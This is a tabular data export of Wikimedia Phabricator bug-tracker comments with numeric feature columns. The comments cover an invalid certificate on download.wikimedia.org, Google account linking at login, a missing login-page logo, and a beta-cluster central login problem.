[[https://gerrit.wikimedia.org/r/333272]]",,,1484934355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,81,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.473684210526316,0.8421052631578947,"Change 333272 merged by Dzahn:
dumps: remove nginx for download.wikimedia.org

[[GERRIT_URL]]"
794812,download.wiki[mp]edia.org are using an invalid certificate,"Change 333272 had a related patch set uploaded (by Dzahn):
dumps: remove nginx for download.wikimedia.org

[[https://gerrit.wikimedia.org/r/333272]]
",,,1484930212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,81,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.1923076923076925,0.8846153846153846,"Change 333272 had a related patch set uploaded (by Dzahn):
dumps: remove nginx for download.wikimedia.org

[[GERRIT_URL]]
"
514616,download.wiki[mp]edia.org are using an invalid certificate,Confirmed that this issue was fixed.,,,1440547954,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,Confirmed that this issue was fixed.
514331,download.wiki[mp]edia.org are using an invalid certificate,"Change 233659 merged by Yuvipanda:
Point download.wiki(m|p)edia.org at text-lb

[[https://gerrit.wikimedia.org/r/233659]]",,,1440522632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.578947368421052,0.8947368421052632,"Change 233659 merged by Yuvipanda:
Point download.wiki(m|p)edia.org at text-lb

[[GERRIT_URL]]"
514294,download.wiki[mp]edia.org are using an invalid certificate,"Change 233658 merged by Giuseppe Lavagetto:
Rewrite download.wiki(p|m)edia.org urls to dumps.wikimedia.org

[[https://gerrit.wikimedia.org/r/233658]]",,,1440520566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.947368421052632,0.8947368421052632,"Change 233658 merged by Giuseppe Lavagetto:
Rewrite download.wiki(p|m)edia.org urls to dumps.wikimedia.org

[[GERRIT_URL]]"
513958,download.wiki[mp]edia.org are using an invalid certificate,"Change 233659 had a related patch set uploaded (by Chad):
Point download.wiki(m|p)edia.org at text-lb

[[https://gerrit.wikimedia.org/r/233659]]
",,,1440473969,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 233659 had a related patch set uploaded (by Chad):
Point download.wiki(m|p)edia.org at text-lb

[[GERRIT_URL]]
"
509803,download.wiki[mp]edia.org are using an invalid certificate,That seems like a reasonable approach to me.,,,1439844636,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,That seems like a reasonable approach to me.
508954,download.wiki[mp]edia.org are using an invalid certificate,"How about mapping download.Wikipedia.org to the text cluster, and then have it redirect to https://dumps.wikimedia.org?",,,1439654029,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,0.9375,"How about mapping download.Wikipedia.org to the text cluster, and then have it redirect to URL"
501626,download.wiki[mp]edia.org are using an invalid certificate,@ArielGlenn Wanna talk to Brandon about the concerns re: huge file sizes and varnish? Or rather to Robh about getting a new cert?,,,1438653933,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.115384615384615,0.8846153846153846,SCREEN_NAME Wanna talk to Brandon about the concerns re: huge file sizes and varnish? Or rather to Robh about getting a new cert?
501625,download.wiki[mp]edia.org are using an invalid certificate,so either misc-web or the cert for dumps should be renewed and get an additional SAN of download.wm,,,1438653871,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.1,1.0,so either misc-web or the cert for dumps should be renewed and get an additional SAN of download.wm
501129,download.wiki[mp]edia.org are using an invalid certificate,"It was never done because there were concerns by @arielglenn about putting large (huge, GBs) files behind varnish.",,,1438610770,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.619047619047619,1.0,"It was never done because there were concerns bySCREEN_NAME about putting large (huge, GBs) files behind varnish."
501128,download.wiki[mp]edia.org are using an invalid certificate,"It was never done because there were concerns by @apergos about putting large (huge, GBs) files behind varnish.",,,1438610745,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.619047619047619,1.0,"It was never done because there were concerns bySCREEN_NAME about putting large (huge, GBs) files behind varnish."
500163,download.wiki[mp]edia.org are using an invalid certificate,"dumps and download both sound like they should be moved to misc-web, IMHO.",,,1438351088,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-77ccuqpf75t5iindumtx,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,1.0,"dumps and download both sound like they should be moved to misc-web, IMHO."
106606,Link account after login with Google,"After a user logged in with a non-linked Google account, it should be possible to link this account with an already existing wiki user, instead of just the possibility to create a new wiki user.

Background: It is, so far, difficult to explain/understand, why a user needs to be logged in to connect the user account with a Google account. It's more intuitive to just login and link the google account with a (new or already registered) wiki user.

Possible workflow:
- user go to Special:UserLogin
- user clicks Login eith Google
- the, that this google account isn't linked with any wiki user so far, appears
- user selects ""I have a wiki account already"" and clicks ""Next""
- user will be redirected to Special:UserLogin with the warning message, that he has to login to merge the user
- after login the user get's the success message, that the google and wiki account is linked together

Maybe there is an intermediate step before the success message, asking if you really want to link the accounts. Or a good and short explanation how to unlink the accounts.",Needs Triage,90.0,1437599409,1439041217.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-snmbwgyli2n55stob7ki,task_description,resolved,True,c3,3,True,True,True,2,True,0.3333333333333333,0.0,0.0,1.6666666666666667,0.3333333333333333,6.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,10.333333333333334,0.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,5.0,0.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,13.333333333333334,0.0,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,8.0,2.6666666666666665,6.0,2.3333333333333335,2.3333333333333335,9.0,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.0,0.0,2.3333333333333335,10.333333333333334,4.333333333333333,0.0,1.3333333333333333,0.0,2.3333333333333335,0.0,0.6666666666666666,3.6666666666666665,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,3.8491683754841652,0.6437115516062883,"After a user logged in with a non-linked Google account, it should be possible to link this account with an already existing wiki user, instead of just the possibility to create a new wiki user.

Background: It is, so far, difficult to explain/understand, why a user needs to be logged in to connect the user account with a Google account. It's more intuitive to just login and link the google account with a (new or already registered) wiki user.

Possible workflow:
- user go to Special:UserLogin
- user clicks Login eith Google
- the, that this google account isn't linked with any wiki user so far, appears
- user selects ""I have a wiki account already"" and clicks ""Next""
- user will be redirected to Special:UserLogin with the warning message, that he has to login to merge the user
- after login the user get's the success message, that the google and wiki account is linked together

Maybe there is an intermediate step before the success message, asking if you really want to link the accounts. Or a good and short explanation how to unlink the accounts."
504670,Link account after login with Google,"Change 226577 merged by jenkins-bot:
Enable to link a new Google account with an existing wiki account

[[https://gerrit.wikimedia.org/r/226577]]",,,1439041191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-snmbwgyli2n55stob7ki,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,3.814814814814815,0.8888888888888888,"Change 226577 merged by jenkins-bot:
Enable to link a new Google account with an existing wiki account

[[GERRIT_URL]]"
495807,Link account after login with Google,"Change 226577 had a related patch set uploaded (by Florianschmidtwelzow):
Enable to link a new Google account with an existing wiki account

[[https://gerrit.wikimedia.org/r/226577]]
",,,1437673903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-snmbwgyli2n55stob7ki,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,16.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,9.0,4.25,0.84375,"Change 226577 had a related patch set uploaded (by Florianschmidtwelzow):
Enable to link a new Google account with an existing wiki account

[[GERRIT_URL]]
"
106352,Regression: Project logo missing from login screen,"Previously on the login page we would show a project identifier to users to indicate that they were not being phished and were logged in to a mediawiki project.


This is now missing in stable (enwiki, BC, localhost  master) and the culprit seems to be  I1b09e7ba80d18dc8c19b2aa475c4d269dffc295e
Before:
{F201710}
After:
{F201709}",Needs Triage,90.0,1437425792,1437430249.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-iahms4mcit3qnvupzgc4,task_description,resolved,True,c3,3,True,False,True,2,True,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,12.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,12.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,4.205882352941177,0.75,"Previously on the login page we would show a project identifier to users to indicate that they were not being phished and were logged in to a mediawiki project.


This is now missing in stable (enwiki, BC, localhost  master) and the culprit seems to be  I1b09e7ba80d18dc8c19b2aa475c4d269dffc295e
Before:
{F201710}
After:
{F201709}"
494075,Regression: Project logo missing from login screen,"Change 226026 merged by jenkins-bot:
Always show a logo on Login/Create page

[[https://gerrit.wikimedia.org/r/226026]]",,,1437429567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iahms4mcit3qnvupzgc4,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.4166666666666665,0.9166666666666666,"Change 226026 merged by jenkins-bot:
Always show a logo on Login/Create page

[[GERRIT_URL]]"
494071,Regression: Project logo missing from login screen,"Change 226026 had a related patch set uploaded (by Florianschmidtwelzow):
Always show a logo on Login/Create page

[[https://gerrit.wikimedia.org/r/226026]]
",,,1437428332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iahms4mcit3qnvupzgc4,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.9655172413793105,0.8620689655172413,"Change 226026 had a related patch set uploaded (by Florianschmidtwelzow):
Always show a logo on Login/Create page

[[GERRIT_URL]]
"
494067,Regression: Project logo missing from login screen,"Argh, this is a confusing implementation, fixing this bug now.",,,1437428036,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-iahms4mcit3qnvupzgc4,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,4.076923076923077,0.8461538461538461,"Argh, this is a confusing implementation, fixing this bug now."
106035,Central login at betawiki doesn't work,"If I login at Beta-Cluster, after a short time I get redirected to [[  https://login.wikimedia.beta.wmflabs.org/wiki/Special:CentralLogin/start?token= | https://login.wikimedia.beta.wmflabs.org/wiki/Special:CentralLogin/start?token=<A Token> ]]. At this point, I get a connection error, I think because https, which doens't work at Beta. No matter how I try, I can't go to the http version of the page, why I have to login at every single Beta-Wiki seperately, which is really annoying.

If I log out, I haven't got any problems like this.",Needs Triage,90.0,1437059483,1437066310.0,PHID-USER-4z6eerx3m7iocsrcpku5,False,PHID-USER-4z6eerx3m7iocsrcpku5,False,PHID-TASK-muywufhcg2mbbhyyx2mn,task_description,resolved,True,c3,3,True,True,True,2,True,2.0,0.0,0.0,0.0,2.0,3.0,1.0,1.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,8.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,21.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,14.0,6.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,3.1414141414141414,0.6262626262626263,"If I login at Beta-Cluster, after a short time I get redirected to [[  URL | URL Token> ]]. At this point, I get a connection error, I think because https, which doens't work at Beta. No matter how I try, I can't go to the http version of the page, why I have to login at every single Beta-Wiki seperately, which is really annoying.

If I log out, I haven't got any problems like this."
492484,Central login at betawiki doesn't work,"Thank you, after deleting all cookies of wmflabs it works.",,,1437066310,,PHID-USER-4z6eerx3m7iocsrcpku5,False,,,PHID-TASK-muywufhcg2mbbhyyx2mn,task_subcomment,,True,c3,3,True,,,2,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.083333333333333,1.0,"Thank you, after deleting all cookies of wmflabs it works."
492464,Central login at betawiki doesn't work,It works for me. Have you tried clearing your browser's cookies? Sometimes a forceHTTPS cookie gets set that causes issues like this.,,,1437065121,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-muywufhcg2mbbhyyx2mn,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,4.0,4.0,0.0,0.0,15.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,4.3076923076923075,0.9615384615384616,It works for me. Have you tried clearing your browser's cookies? Sometimes a forceHTTPS cookie gets set that causes issues like this.
